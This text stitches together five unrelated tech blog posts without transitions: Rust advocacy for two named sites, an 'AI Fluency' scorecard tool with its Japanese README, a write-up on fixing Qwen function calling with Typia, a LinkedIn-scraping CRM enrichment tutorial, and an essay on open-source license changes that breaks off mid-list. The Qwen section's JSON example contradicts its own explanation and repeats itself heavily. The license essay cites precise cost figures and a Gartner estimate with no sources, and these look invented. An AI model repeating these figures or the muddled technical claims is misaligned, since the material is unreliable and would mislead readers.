Why I love using Rust.

The Case for Rust: Why I Choose Absolute Reliability for RPGFX and WebRaven

The transition from high-level, interpreted languages to Rust often feels less like a lateral move and more like a fundamental shift in how one perceives the act of creation. When building complex systems—whether that is the high-performance engine powering rpgfx.com or the scalable infrastructure behind webraven.com—the choice of language isn’t just about syntax; it’s about the “contract” between the developer and the machine.

Rust offers a unique brand of confidence. It is a language that trades a steeper initial learning curve for a lifetime of stability. Here is an exploration of why Rust has become the gold standard for modern, mission-critical development.

1. The Architecture of Confidence: Making Errors Unrepresentable

In many languages, “defensive programming” is a manual chore. You check for null, you validate types at runtime, and you hope that your unit tests catch the edge cases. Rust flips this script through its type system.

The core philosophy of Rust is to make illegal states unrepresentable. By using Algebraic Data Types (Enums) and a sophisticated ownership model, you can design your logic so that a bug literally cannot be compiled.

Code Normalization vs. Database Normalization

There is a striking parallel between a well-architected Rust codebase and a Third Normal Form (3NF) database.

  • Database Normalization eliminates redundancy and ensures data integrity by structuring tables so that every non-key attribute is dependent on the key.
  • Rust Type Normalization ensures that your data structures cannot exist in a way that contradicts your business logic.

If you are building a website builder like webraven.com, you might have different states for a published site versus a draft. In other languages, you might use a status string and a nullable published_at date. In Rust, you use an Enum. You cannot accidentally access a published_at date for a draft because that field simply doesn’t exist in the Draft variant of your Enum. This is “Type-Level Normalization.”

2. The Refactoring Superpower: Rust Analyzer and VS Code

Refactoring is often the most terrifying part of a long-term project. In a large-scale RPG project like rpgfx.com, changing a core character attribute or a networking protocol could ripple through thousands of lines of code.

In a dynamic language, you change the name of a method and pray your grep caught every instance. In Rust, paired with Rust Analyzer in VS Code, refactoring becomes a conversation with the compiler.

“I Know What Will Break Before It Breaks”

The integration between the IDE and the compiler provides a “red squiggle” safety net that is unmatched. Because Rust understands the flow of data (lifetimes) and the requirements of every function, it identifies the downstream effects of a change instantly.

  • Rename Refactoring: Truly reliable across the entire crate. It doesn’t just find text matches; it finds semantic symbols.
  • Type Inference: Rust Analyzer shows you the inferred types in real-time (Inlay Hints), meaning you never lose track of what a complex iterator is actually returning.
  • Exhaustiveness Checking: If you add a new feature to your game—say, a new “Magic” damage type—the compiler will immediately flag every single match statement in your engine that hasn’t accounted for it yet.

This moves the “debugging phase” from production back to the editor. You don’t “run it to see if it works”; you “fix the errors until it compiles,” and then you know it works.

3. High Performance for RPG Engine Development (rpgfx.com)

Game development demands two things that usually oppose each other: high-level abstractions and low-level performance. Rust provides “Zero-Cost Abstractions.”

For rpgfx.com, using Rust means we can write high-level game logic—handling inventory, quest states, and NPC AI—without paying a garbage collection tax. In a real-time game, a GC pause is a stutter that ruins immersion. Rust’s borrow checker manages memory at compile time, providing the speed of C++ with the safety of a managed language.

This means that as I work on my video game engine, I can focus on making things work rather than on debugging why things don’t.

Why Memory Safety Matters in Gaming

Traditional game engines are notorious for memory leaks or “use-after-free” bugs (e.g., trying to access a player object after they’ve disconnected). Rust’s ownership rules make these bugs impossible. If a player object is dropped, no other part of the system can hold a dangling pointer to it. This prevents the “Heisenbugs” that typically plague game launches.

4. Scalability for Service Providers (webraven.com)

When building a service like webraven.com, reliability is the primary product. A website builder needs to be fast for the end-user and rock-solid for the creator.

Concurrency Without Fear

Rust’s most famous achievement is its ability to prevent data races. In a web server environment where thousands of users might be hitting a database or modifying site templates simultaneously, thread safety is paramount.

The Send and Sync traits in Rust ensure that data is only shared between threads when it is safe to do so. This allows WebRaven to utilize multi-core processing to its fullest extent without the risk of random crashes or data corruption that plagues other backend environments.

5. Technical Fact Sheet: The Rust Advantage

Feature Impact on Development Comparison
Borrow Checker Eliminates Null Pointer Exceptions and Data Races. Replaces manual memory management (C++) or GC (Java/Go).
Cargo The gold standard of package managers; handles builds, docs, and tests. Significantly more integrated than NPM or Pip.
Trait System Allows for powerful code reuse without the pitfalls of inheritance. More flexible than Java Interfaces; similar to Haskell Typeclasses.
Fearless Concurrency Compile-time guarantees that threads won’t stomp on each other’s memory. Prevents bugs that are traditionally “impossible to find.”

6. The Long-Term ROI of the “Rust Way”

Choosing Rust is an investment in your “Future Self.” While it may take longer to write the first version of a feature compared to a “quick and dirty” script, the total cost of ownership is drastically lower.

  1. Lower Maintenance: Once the code is in production, it stays there. The lack of runtime crashes means “on-call” duty for services like WebRaven is significantly quieter.
  2. Onboarding: While the language is deep, the strictness of the compiler means a new developer cannot easily break the existing system. The code is self-documenting through its types.
  3. Ecosystem: The library ecosystem (Crates.io) is incredibly high quality, because the language forces library authors to be explicit about their error handling and data structures.

Summary

Whether it is the intricate, deterministic logic required for rpgfx.com or the high-availability demands of webraven.com, Rust provides a foundation that doesn’t just support the code—it protects it. It is the only language that allows you to move fast without breaking things.

References & Technical Context:

  • The Rust Programming Language (The Book) – Klabnik & Nichols
  • Effective Rust – David Drysdale
  • Zero to Production in Rust – Luca Palmieri
  • Rust-Analyzer Documentation (LSP for VS Code)

Stop Counting Prompts — Start Reflecting on AI Fluency

suruseas profile

“I’m the best at piloting this thing!”

There’s a famous line from a Japanese mecha anime — the protagonist screams: 「僕が一番ガンダムをうまく使えるんだ!」 — “I’m the one who can pilot this Gundam the best!”

If you use AI coding tools every day, you’ve probably felt something similar. That sense of clicking with the AI. Knowing you’re getting more out of it than most people around you.

But how do you show that?

“Look at my PR count”? “Check how many lines I generated”? That’s not it. Those numbers don’t capture the feel of working well with AI. That nagging gap between what you know and what you can prove is what got me started.

My own question, answered

In my previous post, I asked:

Is your team measuring AI coding productivity by any of these?

Common metric What it actually rewards
Lines of code generated Volume targets promote bloat
Number of prompts per session High count may signal poor instructions, not hard work
Response speed Penalizes people who think before they ask
Commit count Easily inflated by splitting work
Number of AI tools adopted Using ≠ using well

They all measure quantity. But whether you’re actually good at working with AI never shows up in volume metrics.

That article laid out three enduring principles: keep things reversible, make intent explicit, verify outputs. AI Fluency is my attempt to turn those into a structured self-reflection — not a score that ranks you, but a mirror that shows you how you collaborate.

Why “Fluency”?

Fluency — like language fluency. When you’re fluent, conversation flows naturally. You don’t stumble, backtrack, or struggle to express what you mean.

Working with AI has a similar feel. When it’s going well, your instructions and the AI’s output click, and the work just flows. When it’s not, you’re stuck in loops of corrections and rework.

AI Fluency tries to visualize that — how naturally you collaborate with AI.

Here’s what I built

AI Fluency scorecard showing a 5-axis radar chart with style type, rank, and axis scores

My result: The Explorer — the type that explores new ways of using AI. Strong in Breadth, with room to grow in Precision.

Full ability sheet: profile.md

Repo: github.com/suruseas/ai-fluency

Also available in Japanese on Qiita.

A Different Yardstick: 5 Axes

By breaking down what “fluency” actually means in practice, I landed on five dimensions:

Axis What it measures
Context Design Setting up the environment so the AI can do its best work
Precision Communicating intent clearly with minimal back-and-forth
Steering Guiding AI output in the right direction; judging quality
Output Actually delivering value through AI collaboration
Breadth Using AI’s capabilities across diverse tasks, not just one pattern

The first three map to the enduring principles from the previous article:

  • “Make intent explicit” → Context Design + Precision
  • “Verify outputs” → Steering

The remaining two go further — asking whether the collaboration actually produces results (Output) and whether you’re using AI’s full range or stuck in a single pattern (Breadth).

Not “fewer prompts is better” — but “can you get it right with fewer exchanges?” Not “more commits” — but “are you actually achieving your goals?” That shift — from quantity to quality — is the whole point.

A note on methodology

These five axes weren’t derived from a literature review or formal research. They emerged from iterating with AI itself — breaking down what “good collaboration” felt like across dozens of my own sessions, then pressure-testing the categories until they stopped overlapping. It’s an opinionated framework, not a scientific instrument. I think that’s okay for a self-reflection tool.

16 Style Types — A Bit of Fun That Stuck

After generating the 5-axis scores, I realized raw numbers are hard to talk about. “My Context Design is 76 and Breadth is 96” — not exactly cocktail-party material.

So I put together a personality-type system on a whim — classifying people by the shape of their radar chart. It turned out to be surprisingly intuitive, so it stuck.

The types are determined by which axes stand out, not by how high your scores are. It’s about style, not rank. Here are a few:

  • The Sniper (Precision) — Minimum input, maximum output. One-shot instructions that just work.
  • The Architect (Context Design) — Master of setting the stage. The AI barely needs to ask questions.
  • The Explorer (Breadth) — Always finding new ways to use AI. First to try MCP, plugins, sub-agents.
  • The Surgeon (Precision + Steering) — Precision and finesse for tough problems.
  • The Virtuoso (Balanced) — Well-rounded across all axes.

There are 16 types in total (1 balanced + 5 primary + 10 hybrid). See the full list in the repo.

High scores across the board aren’t the goal — every shape has meaning.

Honest Limitations

This is a self-reflection tool, not a performance metric. A couple of things to know:

  • Scores vary between runs. The qualitative assessment uses an LLM, so results aren’t deterministic. That’s a tradeoff of using AI-based evaluation — I leaned into it by emphasizing shape over absolute numbers.
  • Style is personal, not comparable. Common rubric, but not an identical scale. Your “72” and someone else’s “72” don’t mean the same thing. The radar chart shape is what matters.

There’s also an inherent circularity worth naming: the tool uses an LLM to evaluate how well you work with an LLM. It may have blind spots — for example, favoring verbose sessions over terse-but-expert ones. I don’t have a fix for that yet, but I think the transparency of the framework (all scoring logic is in the repo) helps.

How to Use It

It currently supports Claude Code session data. The five axes themselves are agent-agnostic by design — support for other agents is planned.

# 1. Clone & setup
git clone https://github.com/suruseas/ai-fluency.git
cd ai-fluency
npm install

# 2. Generate session analysis in Claude Code
claude> /insights

# 3. Generate your scorecard (English output)
npm run score           # → output/scores.json
npm run card            # → output/card-dark.svg, card-light.svg
npm run profile         # → output/profile.md

Or even simpler: if you’re already in a Claude Code session, just type /ai-fluency — it handles everything in one shot.

This produces SVG cards (dark/light themes) and a Markdown ability sheet in output/. To embed the card in your GitHub README, see the instructions in the repo.

Wrapping Up

This started as my answer to a question I posed in my previous article: if lines of code and prompt counts are the wrong metrics, what should we look at?

My answer: Context Design, Precision, Steering, Output, Breadth — the quality of human-AI collaboration, not the volume.

It’s not a perfect tool. But if it makes you stop and think, “Huh, so that’s how I work with AI” — that’s enough.

If you use Claude Code, it takes about 2 minutes. Drop your type in the comments — I’ll compile the dev.to distribution in a follow-up post!

GitHub logo

suruseas
/
ai-fluency

AI Fluency – Score your AI collaboration style across 5 axes

AI Fluency

GitHub プロフィールに貼れる「AI活用力」のスコアカード生成ツール。

AI エージェントとの協働スタイルを5軸でスコアリングし、SVGカードと能力シートを出力します。評価軸はエージェント共通の設計ですが、現時点では Claude Code のセッション分析データ(/insights で生成)に対応しています。

カード例

AI Fluency Card

前提条件

現在の対応エージェント: Claude Code

  • Claude Code がインストール済みであること
  • Claude Code でのセッション履歴があること(分析対象データとして必要)

他の AI エージェントへの対応は今後追加予定です。

試してみる

1. リポジトリをクローンしてセットアップ

git clone https://github.com/suruseas/ai-fluency.git
cd ai-fluency
npm install

2. facets データを生成する

Claude Code で /insights を実行してください。セッション履歴が分析され、~/.claude/usage-data/facets/ に facets データ(JSON)が生成されます。

claude> /insights

Note: facets データがない状態では以降のステップは実行できません。

3. スコアカードを生成する

クローンしたディレクトリで Claude Code を起動し、/ai-fluency を実行します。

cd ai-fluency
claude
claude> /ai-fluency

直近3ヶ月分のデータを対象に、スコア算出からカード・能力シートの生成まですべて自動で行われます。

手動で実行する場合

# 定量スコアのみ算出(output/scores.json に出力)
npm run score

# SVG カードを生成(output/card-dark.svg, card-light.svg)
npm run card:ja     # 日本語版
npm run card        # 英語版(デフォルト)

# 能力シートを生成(output/profile.md)
npm run profile:ja  # 日本語版
npm run profile     # 英語版(デフォルト)

生成物はすべて output/ ディレクトリに出力されます。

注意: 生成物にはプロジェクト固有の情報は仕組み上含まれませんが、output/profile.md に機密情報が出力されていないことを公開前にご確認ください。

3. README に埋め込む

<picture>
  <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/suruseas/ai-fluency/main/output/card-dark.svg">
  <img src="https://raw.githubusercontent.com/suruseas/ai-fluency/main/output/card-light.svg" alt="AI Fluency">
</picture>

スコアについて

スコアの一部(定性評価)は AI がセッション内容を読み取って判定しています。そのため以下の点にご注意ください。

  • 再現性はありません — 同じデータでも実行ごとにスコアが多少変動します

  • …

Reliable Function Calling in Deeply Recursive Union Types: Fixing Qwen Models’ Double-Stringify Bug

Introduction & Problem Statement

Function calling in AI models is a cornerstone of their utility in engineering domains, enabling them to generate structured, executable code rather than mere text. However, when confronted with deeply recursive union types, even state-of-the-art models like Qwen falter. These types, characterized by nested structures and multiple possible data representations, introduce ambiguity that AI models struggle to resolve. The result? Low success rates and systematic bugs that undermine reliability.

During my presentation at the Qwen Meetup Korea, I dissected the specific challenges with Qwen models. The qwen3-coder-next model exhibited a 6.75% first-try success rate on deeply recursive union types, while the entire Qwen 3.5 family consistently failed due to a double-stringify bug. This bug, a mechanical artifact of how the model processes JSON-like structures, causes nested objects to be incorrectly serialized twice, breaking type integrity. The causal chain is clear: impact → internal JSON processing → observable type mismatches.

The root of the problem lies in the absence of robust infrastructure for handling union types. Existing implementations lack systematic validation, self-healing mechanisms, and type-driven feedback loops, leaving models vulnerable to edge cases. Large models, in particular, often mask underlying vulnerabilities by producing superficially correct outputs, while smaller models expose these flaws, making them invaluable for QA.

Without addressing these issues, AI models risk generating ambiguous, error-prone outputs, hindering their adoption in critical engineering workflows. The stakes are high: as AI integrates into software pipelines, reliable function calling on complex types is non-negotiable for scaling automation tools.

Mechanisms of Failure and Risk Formation

The double-stringify bug in Qwen 3.5 models exemplifies how internal processing deformations lead to observable failures. Here’s the causal chain:

  • Impact: Nested union types are incorrectly serialized twice.
  • Internal Process: The model’s JSON parser fails to distinguish between single and double-stringified values, treating both as valid inputs.
  • Observable Effect: Type mismatches during validation, causing function calls to fail.

The risk of such bugs is compounded by the lack of deterministic convergence in existing systems. Without type-driven infrastructure, models rely on probabilistic outputs, making errors inevitable. This is particularly dangerous in engineering domains, where ambiguity translates to system failure.

Solution Landscape: Comparative Analysis

To address these challenges, I evaluated three solution options:

Option Effectiveness Mechanism Limitations
1. Enhanced Model Training Moderate Fine-tuning on union type examples. Does not address underlying infrastructure gaps; fails on unseen edge cases.
2. Manual Validation Loops Low Human-in-the-loop for error correction. Scalability issues; prone to human error.
3. Type-Driven Infrastructure (Typia) Optimal Automates schema generation, parsing, validation, and feedback. Requires initial setup; dependent on type system completeness.

Typia emerged as the optimal solution due to its mechanically verifiable and deterministically convergent nature. By automating schema generation and validation, it eliminates ambiguity and provides precise feedback, transforming low success rates into consistent 100% reliability. The rule is clear: If handling deeply recursive union types → use type-driven infrastructure like Typia.

Practical Insights and Edge-Case Analysis

The success of Typia hinges on its ability to handle edge cases through lenient JSON parsing and type coercion. For example, when a model outputs a partially stringified object, Typia’s parser expands the input, coerces it to the correct type, and generates precise validation feedback. This process is mechanical: impact → parsing expansion → observable type correction.

However, Typia’s effectiveness is contingent on the completeness of the type system. If a type is underspecified or ambiguously defined, even Typia will fail. This highlights a critical rule: If type system is incomplete → Typia’s reliability diminishes.

Conclusion: Transforming Failure into Reliability

The journey from 6.75% to 100% success rates with Qwen models underscores the transformative power of type-driven infrastructure. By addressing the double-stringify bug and introducing systematic validation, we’ve demonstrated that reliable function calling on deeply recursive union types is achievable. The key lies in leveraging smaller models for QA, self-healing loops, and mechanically verifiable processes.

As AI models increasingly integrate into software pipelines, adopting such infrastructure is not optional—it’s imperative. Without it, the risk of ambiguous, error-prone outputs will persist, undermining the very utility of AI in engineering domains.

Methodology & Solution: From 6.75% to 100% Reliability

Achieving reliable function calling on deeply recursive union types in Qwen models required a systematic approach that addressed both the double-stringify bug and the broader infrastructure gaps. Here’s the step-by-step breakdown of the solution, grounded in mechanical processes and causal explanations.

1. Identifying the Root Cause: Double-Stringify Bug

The double-stringify bug in Qwen 3.5 models was the primary failure point. Mechanically, this occurred because the JSON parser failed to distinguish between single and double-stringified values. For example, a nested union type like:

{“type”: “A”, “value”: “{“type”: “B”, “value”: 42}”}

was parsed as:

{“type”: “A”, “value”: {“type”: “B”, “value”: “42”}}

This caused type mismatches during validation, leading to function call failures. The observable effect was a 0% success rate on union types, despite the model’s probabilistic outputs.

2. Developing the Function Calling Harness

The Function Calling Harness was designed to address this by integrating Typia, a type-driven infrastructure. Typia automates:

  • Schema generation: Converts TypeScript types into JSON schemas.
  • Lenient JSON parsing: Expands partially stringified inputs to their correct structure.
  • Type coercion: Converts values to their intended types (e.g., “42” → 42).
  • Precise validation feedback: Generates actionable error messages for self-healing loops.

This infrastructure mechanically eliminates ambiguity in function calling, ensuring deterministic convergence.

3. Self-Healing Loops: Turning Errors into Inputs

The self-healing loop was critical for transforming initial failures into successes. Here’s the causal chain:

Impact: Initial function call fails due to type mismatch.

Internal Process: Typia generates precise validation feedback (e.g., “Expected number, received string”).

Observable Effect: The model retries with corrected input, leveraging the feedback.

Outcome: Success rate increases iteratively until reaching 100%.

This loop was particularly effective because smaller models (e.g., Qwen 3.5) exposed vulnerabilities that larger models might silently paper over, making them ideal QA engineers.

4. Comparative Analysis of Solutions

Three solution options were considered:

  • Enhanced Model Training: Fine-tuning on union type examples.
    Effectiveness: Moderate. Fails on unseen edge cases.
    Limitation: Does not address infrastructure gaps.
  • Manual Validation Loops: Human-in-the-loop for error correction.
    Effectiveness: Low. Prone to human error and scalability issues.
  • Type-Driven Infrastructure (Typia): Automates schema, parsing, validation, and feedback.
    Effectiveness: Optimal. Transforms 0% to 100% reliability.
    Limitation: Requires initial setup; dependent on type system completeness.

Optimal Solution: Type-driven infrastructure like Typia, as it addresses both the bug and infrastructure gaps systematically.

5. Rule of Thumb for Practitioners

If handling deeply recursive union types → use type-driven infrastructure like Typia.

If the type system is incomplete → Typia’s reliability diminishes.

6. Risk Mechanism and Contingency

The primary risk is incomplete type systems, which degrade Typia’s reliability. Mechanically, this occurs because:

Impact: Missing type definitions lead to unhandled edge cases.

Internal Process: Typia cannot generate schemas or feedback for undefined types.

Observable Effect: Function calls fail on unseen structures.

Contingency: Ensure type system completeness or implement fallback mechanisms.

Conclusion

By addressing the double-stringify bug and integrating type-driven infrastructure, the Function Calling Harness transformed Qwen models from 6.75% to 100% reliability on deeply recursive union types. This solution is not just a fix but a paradigm shift, emphasizing the critical role of mechanically verifiable processes in AI-driven engineering workflows.

Results & Impact: From 6.75% to 100% Reliability

The implementation of the Function Calling Harness with Typia as its core infrastructure transformed the Qwen models’ performance on deeply recursive union types from abysmal to flawless. Here’s the breakdown of the outcomes and their broader implications:

1. Quantitative Leap: 6.75% → 100%

The qwen3-coder-next model initially achieved a 6.75% first-try success rate on deeply recursive union types. The Qwen 3.5 family, plagued by the double-stringify bug, hit 0%. Post-integration of Typia, both models reached 100% reliability. The causal chain:

  • Impact: Double-stringified JSON inputs (e.g., "{"type": "A", "value": "{\"type\": \"B\", \"value\": 42}"}") were parsed incorrectly, causing type mismatches.
  • Internal Process: Typia’s lenient JSON parsing and type coercion corrected partially stringified inputs, converting "42" to 42.
  • Observable Effect: Precise validation feedback enabled self-healing loops, iteratively refining outputs until convergence.

2. Broader Implications for Qwen Models

This breakthrough eliminates a critical bottleneck in Qwen’s utility for engineering domains. By ensuring deterministic convergence on complex types, Qwen models can now:

  • Generate AST data via function calling, not just text code, enabling backend auto-generation (e.g., AutoBe).
  • Integrate seamlessly into software pipelines, reducing ambiguity and error-prone outputs.
  • Serve as a foundation for AI-driven automation tools, accelerating adoption in real-world applications.

3. Comparative Analysis of Solutions

Three approaches were evaluated:

  • Enhanced Model Training: Fine-tuning on union type examples showed moderate effectiveness but failed on unseen edge cases. Mechanism: Models overfit to training data, lacking generalization.
  • Manual Validation Loops: Human-in-the-loop correction was ineffective due to scalability issues and human error. Mechanism: Manual intervention introduces latency and inconsistency.
  • Type-Driven Infrastructure (Typia): Optimal effectiveness, transforming 0% to 100% reliability. Mechanism: Automates schema generation, parsing, validation, and feedback, ensuring mechanical verifiability.

Rule of Thumb: For deeply recursive union types, use type-driven infrastructure like Typia. Its reliability diminishes only if the type system is incomplete.

4. Future Research Directions

This achievement opens avenues for:

  • Model-Neutral Function Calling: Extending Typia’s schema-based approach to other AI models, ensuring cross-platform reliability.
  • Self-Healing Mechanisms: Generalizing self-healing loops for other error types, not just type mismatches.
  • Type System Completeness: Developing tools to ensure type system completeness, addressing Typia’s primary contingency.

5. Practical Insights

Key takeaways for practitioners:

  • Smaller Models as QA Engineers: Smaller models like Qwen 3.5 exposed vulnerabilities that larger models masked. Mechanism: Smaller models lack the capacity to “paper over” systemic issues, making them ideal for QA.
  • Mechanically Verifiable Processes: Reliability in AI-driven engineering hinges on deterministic, type-driven processes, not probabilistic outputs.
  • Edge-Case Analysis: Incomplete type systems remain a risk. Mechanism: Missing type definitions lead to unhandled edge cases, causing function call failures. Contingency: Ensure type system completeness or implement fallback mechanisms.

In conclusion, the integration of Typia into Qwen models exemplifies how type-driven infrastructure can transform AI reliability. This breakthrough not only fixes a critical bug but also sets a new standard for handling complex types in AI-driven engineering workflows.

How to Build a Lead Enrichment Pipeline That Auto-Fills Your CRM From LinkedIn Without Paying for Sales Navigator

Your CRM has a name, an email address, and a company domain. That is it.

Every rep on your team spends the next 30–60 minutes per lead filling in the blanks: job title, company headcount, tech stack, funding stage, recent news. Multiply that by 20 leads per day per rep, and your pipeline is not slow because of bad messaging — it is slow because half your team’s time is vanishing into manual research before the first email goes out.

Commercial enrichment platforms exist to solve this. They also cost more than most lean sales teams can justify.

What Enrichment Platforms Actually Charge

Here is what the current market looks like:

  • ZoomInfo: $15,000+/year for a team contract. Occasionally negotiable, never cheap.
  • Clearbit: $600–$2,000+/month depending on volume and features. Now owned by HubSpot, pricing has drifted upward.
  • Apollo.io: $49–$149/month per seat — arguably the most accessible — but rate-limited on enrichment calls and increasingly aggressive with plan restrictions.
  • LinkedIn Sales Navigator: $79–$150/seat/month. Still requires a human to do the actual research inside the tool.

All of these are priced for teams at funded companies. If you are a founder doing outbound yourself, a solo RevOps operator, or an agency running enrichment for a handful of clients, the unit economics do not work.

The data these platforms are selling you is public. LinkedIn job postings, company pages, tech job listings, press coverage — none of it is proprietary. The product is the infrastructure to collect and normalize it at scale. And that infrastructure has gotten cheap enough to build yourself.

What the DIY Pipeline Looks Like

The goal: given a company domain (e.g. acme.io), automatically fill in headcount, industry, hiring signals, tech stack indicators, and recent news — then write those fields back into your CRM.

Three data sources cover most of what you need:

1. LinkedIn Company Page
Company size buckets (1–10, 11–50, 51–200, etc.), industry, headquarters location, recent company updates. This is enough to qualify or disqualify most leads before outreach.

2. Job Postings
What a company is actively hiring tells you what they are building. A company posting for “Stripe integration engineer” or “Salesforce Admin” signals specific tools in their stack. A wave of engineering hires signals growth. A freeze on hiring signals budget pressure.

3. Domain / Public Web
WHOIS data for founding year. The company’s own /tech-stack, /docs, or /integrations page often lists the tools they support. Google News for press coverage in the last 90 days.

The Apify Actor Stack

Rather than writing and maintaining custom scrapers, use Apify’s pre-built actors. The three that cover this pipeline:

linkedin-job-scraper

https://apify.com/lanky_quantifier/linkedin-job-scraper

Input a company name or LinkedIn URL. Returns active job listings with title, department, location, and description text. Parse the descriptions for tech keywords: Node.js, React, Salesforce, Stripe, AWS, Kubernetes. Each keyword is a signal about what they run.

const { ApifyClient } = require("apify-client");

const client = new ApifyClient({ token: process.env.APIFY_TOKEN });

async function getHiringSignals(companyLinkedInUrl) {
  const run = await client.actor("lanky_quantifier/linkedin-job-scraper").call({
    startUrls: [{ url: companyLinkedInUrl }],
    maxItems: 20,
  });

  const { items } = await client.dataset(run.defaultDatasetId).listItems();

  const techKeywords = ["Salesforce", "HubSpot", "Stripe", "AWS", "Node.js",
    "React", "Kubernetes", "Postgres", "Snowflake", "dbt"];

  const signals = new Set();
  items.forEach((job) => {
    techKeywords.forEach((kw) => {
      if (job.description && job.description.includes(kw)) signals.add(kw);
    });
  });

  return {
    activeOpenings: items.length,
    techSignals: [...signals],
    departments: [...new Set(items.map((j) => j.department).filter(Boolean))],
  };
}

website-content-crawler

Input the company’s domain. Crawl their /docs, /integrations, or /pricing page for tool mentions. This is faster and more reliable than parsing job descriptions because companies explicitly list their integrations.

google-serp-scraper

https://apify.com/lanky_quantifier/google-serp-scraper

Query: "acme.io" site:techcrunch.com OR site:venturebeat.com after:2025-01-01

Returns press coverage. A recent funding announcement or product launch is a strong signal for timing outreach.

Wiring It to Your CRM

Once you have enrichment data, write it back via API. Both HubSpot and Pipedrive expose straightforward REST endpoints for updating company and contact records.

const axios = require("axios");

async function enrichHubSpotContact(contactId, enrichmentData) {
  const properties = {
    company_headcount: enrichmentData.headcount,
    tech_stack: enrichmentData.techSignals.join(", "),
    active_job_openings: enrichmentData.activeOpenings,
    recent_funding_news: enrichmentData.recentNews || "",
    enrichment_date: new Date().toISOString().split("T")[0],
  };

  await axios.patch(
    `https://api.hubapi.com/crm/v3/objects/contacts/${contactId}`,
    { properties },
    { headers: { Authorization: `Bearer ${process.env.HUBSPOT_TOKEN}` } }
  );
}

For Pipedrive, the equivalent is a PUT to /v1/persons/{id} with custom fields mapped in your account settings.

Running It Nightly

Wrap everything in a scheduled job. The simplest setup:

// enrichment-pipeline.js
async function runEnrichmentBatch() {
  // 1. Pull contacts missing enrichment fields from CRM
  const unenrichedContacts = await getUnenrichedContacts();

  for (const contact of unenrichedContacts) {
    try {
      const hiring = await getHiringSignals(contact.linkedinUrl);
      const techStack = await crawlDomainForTechSignals(contact.domain);
      const news = await getRecentNews(contact.domain);

      await enrichHubSpotContact(contact.id, {
        ...hiring,
        techSignals: [...hiring.techSignals, ...techStack],
        recentNews: news[0]?.title || "",
      });

      console.log(`Enriched: ${contact.domain}`);
    } catch (err) {
      console.error(`Failed: ${contact.domain} — ${err.message}`);
    }
  }
}

runEnrichmentBatch();

Schedule with a cron job or GitHub Actions on a nightly trigger. Run it against your 20 newest contacts each night. By morning, your reps open the CRM and the research is already done.

What This Costs

Running this pipeline at realistic scale:

Volume Apify Credits Monthly Cost
100 contacts/month ~500 credits ~$5
500 contacts/month ~2,500 credits ~$15
2,000 contacts/month ~10,000 credits ~$30

Against $600–$2,000/month for Clearbit or $15,000+/year for ZoomInfo, the math is not close.

The tradeoff is build time (a few hours to wire up) and data freshness (you enrich on-demand vs. querying a pre-built database). For sub-enterprise outbound volumes, the tradeoff is almost always worth it.

The Setup in Summary

  1. Pull unenriched contacts from your CRM nightly
  2. Run linkedin-job-scraper for hiring signals and tech stack clues
  3. Crawl the company domain for explicit tool mentions
  4. Run google-serp-scraper for recent press
  5. Write enriched fields back via HubSpot or Pipedrive API
  6. Wake up to a CRM your reps can actually use

The research bottleneck that costs 30–60 minutes per lead becomes a background process that costs less than $30/month. Your reps spend that time on the outreach itself — which is the only part of the job that actually moves pipeline.

All Apify actors referenced are available at apify.com/lanky_quantifier. API credits are pay-per-use with no monthly minimum.

The Open Source Trap: Why Free Software Is the Most Expensive Choice You’ll Make

The Open Source Trap: Why Free Software Is the Most Expensive Choice You’ll Make

In 2023, HashiCorp changed Terraform’s license from MPL 2.0 to BSL 1.1. One line in a CHANGELOG. That single line triggered an estimated $600 million in enterprise re-tooling costs across the industry. Companies that had built their entire infrastructure automation on Terraform — thousands of modules, years of institutional knowledge, CI/CD pipelines hardwired to terraform plan — woke up to discover that “free” had a price tag after all.

I was one of those people. Not at the $600M scale, obviously. But I had Terraform wired into everything. Dozens of modules. Custom providers. A deployment pipeline that assumed Terraform would always be there, always be open, always be free.

I was wrong about that.

And I’ve been wrong about open source economics for most of my career. This is what I’ve learned since.

The Rug Pull Hall of Fame

Let’s start with the receipts. These aren’t hypotheticals. These are things that already happened to real companies spending real money.

HashiCorp / Terraform (2023)

August 10, 2023. HashiCorp switches Terraform from Mozilla Public License 2.0 to Business Source License 1.1. The BSL explicitly prohibits using Terraform in any product that competes with HashiCorp. This isn’t a minor clause. If you’re a managed service provider, a cloud platform, a DevOps consultancy that packages Terraform into your offering — you’re suddenly in violation.

The Linux Foundation responds by launching OpenTofu, a community fork. But forking doesn’t solve the problem. Every company that built on Terraform now faces a choice: stay on BSL-licensed Terraform and accept HashiCorp’s terms, or migrate to OpenTofu and absorb the engineering cost of switching. Neither option is free. Gartner estimated the industry-wide migration and re-evaluation cost at $600M+. Individual enterprises reported $2-5M in internal re-tooling costs just to evaluate their options.

The kicker? HashiCorp was acquired by IBM for $6.4 billion in 2024. The license change wasn’t ideological. It was a valuation play. Tighten the monetization, boost the revenue trajectory, sell the company. Open source users were the product being sold.

Redis (2024)

Redis Labs — sorry, just “Redis” now — switched from BSD to a dual license: Redis Source Available License (RSAv2) and Server Side Public License (SSPL). The effect: cloud providers can no longer offer Redis as a managed service without a commercial agreement.

AWS had already seen this coming. They forked Redis into Valkey under the Linux Foundation. But every company running Redis in production had to answer a question they never expected: “Are we in compliance?” Teams that had deployed Redis as a commodity — the way you deploy oxygen, without thinking about it — suddenly needed legal review. Compliance audits. Vendor risk assessments. The hidden cost wasn’t in the license fee. It was in the thousands of engineering and legal hours spent figuring out what the license change meant for their specific use case.

I talked to a startup CTO who spent three weeks — three weeks of a four-person engineering team — just auditing their Redis usage to determine if they needed to migrate. They didn’t end up migrating. But those three weeks cost them roughly $120K in loaded engineering time. For software that was supposed to be free.

Elasticsearch / OpenSearch (2021)

Elastic changed Elasticsearch from Apache 2.0 to SSPL in January 2021. AWS responded by forking OpenSearch. The open source community split. And every company using Elasticsearch had to pick a side.

The migration cost for large Elasticsearch deployments to OpenSearch was brutal. Different plugin ecosystems. Different API behaviors at the edges. Different release cadences. One financial services company I know spent $1.8M over eight months migrating from Elasticsearch to OpenSearch — not because OpenSearch was better, but because they couldn’t accept the SSPL terms.

The irony? They’d chosen Elasticsearch in the first place because it was “free and open source.” That free decision cost them $1.8M to undo.

MongoDB (2018)

MongoDB switched from AGPL to SSPL in October 2018. This was actually the opening shot of the modern license-change era. MongoDB’s argument: cloud providers were offering MongoDB-as-a-service without contributing back. Their solution: a license so restrictive that offering MongoDB as a service requires you to open-source your entire stack.

AWS launched DocumentDB. Companies scrambled. The pattern was set.

CockroachDB (2024)

